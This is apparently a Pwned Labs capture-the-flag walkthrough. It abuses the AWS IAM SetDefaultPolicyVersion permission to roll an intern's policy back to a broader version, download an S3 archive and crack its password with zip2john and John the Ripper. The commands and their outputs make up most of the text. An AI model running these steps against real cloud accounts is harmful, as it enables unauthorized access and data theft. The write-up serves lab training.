Escalate Privileges by IAM Policy Rollback
A walkthrough demonstrating how to abuse the IAM permission: SetDefaultPolicyVersion
CTF Source: Pwned Labs
Overview
In this walkthrough, we're provided access keys for an Intern with seemingly little access, but we find a way to escalate our privileges and obtain access to sensitive data!
Pre-Requisites
- Install awscli: - brew install awscli(mac)- apt install awscli(linux)
- Install JohnTheRipper: - brew install john(mac)- apt intall john(linux)
Walkthrough
After configuring our AWS access keys (aws configure), let's begin to enumerate our access.
This command tells us who we are.
aws sts get-caller-identity
{
    "UserId": "AIDA4C7XGDAETYJA6EVGF",
    "Account": "831057696777",
    "Arn": "arn:aws:iam::831057696777:user/intern01"
}We can then list policies attached to this user.
aws iam list-attached-user-policies --user-name intern01  
                       
{
    "AttachedPolicies": [
        {
            "PolicyName": "intern_policy",
            "PolicyArn": "arn:aws:iam::214768663777:policy/intern_policy"
        }
    ]
}Let's see if we have multiple versions of this policy.
aws iam list-policy-versions --policy-arn arn:aws:iam::214768663777:policy/intern_policy
{
    "Versions": [
        {
            "VersionId": "v2",
            "IsDefaultVersion": true,
            "CreateDate": "2024-03-14T23:00:42+00:00"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": false,
            "CreateDate": "2024-03-14T23:00:41+00:00"
        }
    ]
}We can view both policies like so: aws iam get-policy-version --policy-arn arn:aws:iam::214768663777:policy/intern_policy --version-id v1 (or v2).
aws iam get-policy-version --policy-arn arn:aws:iam::831057696777:policy/intern_policy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "ec2:DescribeInstances",
                        "s3:ListAllMyBuckets",
                        "s3:GetObject",
                        "s3:ListBucket"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": false,
        "CreateDate": "2024-03-14T21:43:51+00:00"
    }
}Escalating Privileges
The v1 policy gives us some additional S3 permissions over all resources. We'll set this version as our policy. 
aws iam set-default-policy-version --policy-arn 
arn:aws:iam::831057696777:policy/intern_policy --version-id v1If we list the buckets in the account, we'll find one and download the data.
aws s3 ls    
                                                                           
2024-03-14 15:43:52 huge-logistics-data-8344bf3ad538aws s3 cp s3://huge-logistics-data-8344bf3ad538/amex-export.zip .
download: s3://huge-logistics-data-8344bf3ad538/amex-export.zip to ./amex-export.zipPassword Cracking
Unfortunately, the file is password-protected.
unzip amex-export.zip 
Archive:  amex-export.zip
[amex-export.zip] amex-export.json password:   Not to worry as we can attempt to crack the password.
We'll create a hash and save it to a new file.
zip2john amex-export.zip > hash.txtNext, we'll use JohnTheRipper and the classic rockyou.txt password list.
john hash.txt --wordlist=rockyou.txt
1logistics       (amex-export.zip)  Finding the Flag!
We found the password! Attempting to unzip the file with this password results in discovering the flag!
unzip -P 1logistics amex-export.zip 
Archive:  amex-export.zip
  inflating: amex-export.json        
 extracting: flag.txt  Get the final flag.
cat flag.txt      
  
<flagHash>Last updated
Was this helpful?
